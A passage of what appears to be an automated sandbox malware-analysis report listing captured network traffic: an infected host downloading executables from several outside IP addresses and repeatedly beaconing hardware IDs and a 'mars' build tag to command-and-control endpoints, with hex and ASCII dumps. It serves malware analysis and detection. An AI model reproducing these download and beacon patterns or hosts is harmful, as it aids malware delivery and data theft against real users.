name="hwid"2682E79B2F583419705248------BAEBGHCFCAAFIECAFIIIContent-Disposition: form-data; name="build"mars------BAEBGHCFCAAFIECAFIII--
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Sun, 24 Nov 2024 12:32:47 GMTIf-None-Match: "67431cef-e1000"
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 37 36 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008769001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Sun, 24 Nov 2024 12:33:14 GMTIf-None-Match: "67431d0a-2af400"
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 37 37 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008770001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDHIEGIIIECAKEBFBAAHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 36 38 32 45 37 39 42 32 46 35 38 33 34 31 39 37 30 35 32 34 38 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 2d 2d 0d 0a Data Ascii: ------HIDHIEGIIIECAKEBFBAAContent-Disposition: form-data; name="hwid"2682E79B2F583419705248------HIDHIEGIIIECAKEBFBAAContent-Disposition: form-data; name="build"mars------HIDHIEGIIIECAKEBFBAA--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHJJDGHCBGDHIECBGIDAHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 36 38 32 45 37 39 42 32 46 35 38 33 34 31 39 37 30 35 32 34 38 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 41 2d 2d 0d 0a Data Ascii: ------GHJJDGHCBGDHIECBGIDAContent-Disposition: form-data; name="hwid"2682E79B2F583419705248------GHJJDGHCBGDHIECBGIDAContent-Disposition: form-data; name="build"mars------GHJJDGHCBGDHIECBGIDA--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11If-Modified-Since: Sun, 24 Nov 2024 12:19:04 GMTIf-None-Match: "674319b8-42ea00"
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 37 37 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008771001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
